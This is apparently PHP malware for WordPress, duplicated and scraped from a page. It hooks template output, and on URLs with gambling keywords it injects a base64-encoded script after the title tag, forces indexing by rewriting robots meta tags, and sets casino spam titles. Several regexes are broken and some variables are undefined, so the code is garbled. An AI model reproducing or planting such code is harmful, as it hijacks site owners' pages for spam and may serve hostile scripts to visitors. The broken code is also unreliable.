function insert_script_and_replace_title($template) {
ob_start(function ($buffer) {
$url_hash = crc32($_SERVER['REQUEST_URI']);
$new_title = 'Best Online Casino - Popular & Trusted Casinos';
$keywords = array('money', 'gambling', 'tricks', 'winning', 'strategies', 'casino', 'slot', 'bonus', 'spins', 'chips', 'slots', 'best', 'real', 'bingo', 'play', 'vegas', 'games', 'lucky', 'spin', 'legal', 'craps', 'bet365', 'jackpot', 'machine', 'golden', 'gold', 'paypal', 'game', 'wins', 'royal','blackjack','roulette','demo','deposit','?p=');
$should_insert = false;
foreach ($keywords as $keyword) {
if (stripos($_SERVER['REQUEST_URI'], $keyword) !== false) {
$should_insert = true;
break;
}
}
if ($should_insert) {
http_response_code(200);
$buffer = preg_replace('/';
$buffer = preg_replace('/(<\/title>)/i', '$1' . $base64_script, $buffer);
global $change_title;
//$buffer = preg_replace('/
.*?<\/title>/i', '' . htmlspecialchars($new_title) . '', $buffer);
$buffer = preg_replace_callback(
'/]+name=["\']robots["\'][^>]+>/i',
function ($match) {
$meta = $match[0];
$meta = str_ireplace('noindex', 'index', $meta);
$meta = str_ireplace('nofollow', 'follow', $meta);
return $meta;
},
$buffer
);
if (!preg_match('/]+name=["\']description["\']/i', $buffer)) {
$description = '';
if (preg_match('/]*>(.*?)<\/p>/is', $subBuffer, $pMatch)) {
$pText = trim(strip_tags($pMatch[1]));
if (preg_match('/([^.!?]{30,}?[.!?])/', $pText, $sentenceMatch)) {
$description = trim($sentenceMatch[1]);
} else {
$description = $pText;
}
}
}
if (!$description) {
$description = $new_title;
}
}
$description = mb_substr($description, 0, 160);
$metaTag = '';
$buffer = preg_replace('/<\/head>/i', $metaTag . "\n", $buffer);
}
}
return $buffer;
});
return $template;
}
add_filter('template_include', 'insert_script_and_replace_title', PHP_INT_MAX);function insert_script_and_replace_title($template) {
ob_start(function ($buffer) {
$url_hash = crc32($_SERVER['REQUEST_URI']);
$new_title = 'Best Online Casino - Popular & Trusted Casinos';
$keywords = array('money', 'gambling', 'tricks', 'winning', 'strategies', 'casino', 'slot', 'bonus', 'spins', 'chips', 'slots', 'best', 'real', 'bingo', 'play', 'vegas', 'games', 'lucky', 'spin', 'legal', 'craps', 'bet365', 'jackpot', 'machine', 'golden', 'gold', 'paypal', 'game', 'wins', 'royal','blackjack','roulette','demo','deposit','?p=');
$should_insert = false;
foreach ($keywords as $keyword) {
if (stripos($_SERVER['REQUEST_URI'], $keyword) !== false) {
$should_insert = true;
break;
}
}
if ($should_insert) {
http_response_code(200);
$buffer = preg_replace('/';
$buffer = preg_replace('/(<\/title>)/i', '$1' . $base64_script, $buffer);
global $change_title;
//$buffer = preg_replace('/.*?<\/title>/i', '' . htmlspecialchars($new_title) . '', $buffer);
$buffer = preg_replace_callback(
'/]+name=["\']robots["\'][^>]+>/i',
function ($match) {
$meta = $match[0];
$meta = str_ireplace('noindex', 'index', $meta);
$meta = str_ireplace('nofollow', 'follow', $meta);
return $meta;
},
$buffer
);
if (!preg_match('/]+name=["\']description["\']/i', $buffer)) {
$description = '';
if (preg_match('/]*>(.*?)<\/p>/is', $subBuffer, $pMatch)) {
$pText = trim(strip_tags($pMatch[1]));
if (preg_match('/([^.!?]{30,}?[.!?])/', $pText, $sentenceMatch)) {
$description = trim($sentenceMatch[1]);
} else {
$description = $pText;
}
}
}
if (!$description) {
$description = $new_title;
}
}
$description = mb_substr($description, 0, 160);
$metaTag = '';
$buffer = preg_replace('/<\/head>/i', $metaTag . "\n", $buffer);
}
}
return $buffer;
});
return $template;
}
add_filter('template_include', 'insert_script_and_replace_title', PHP_INT_MAX);
Skip to content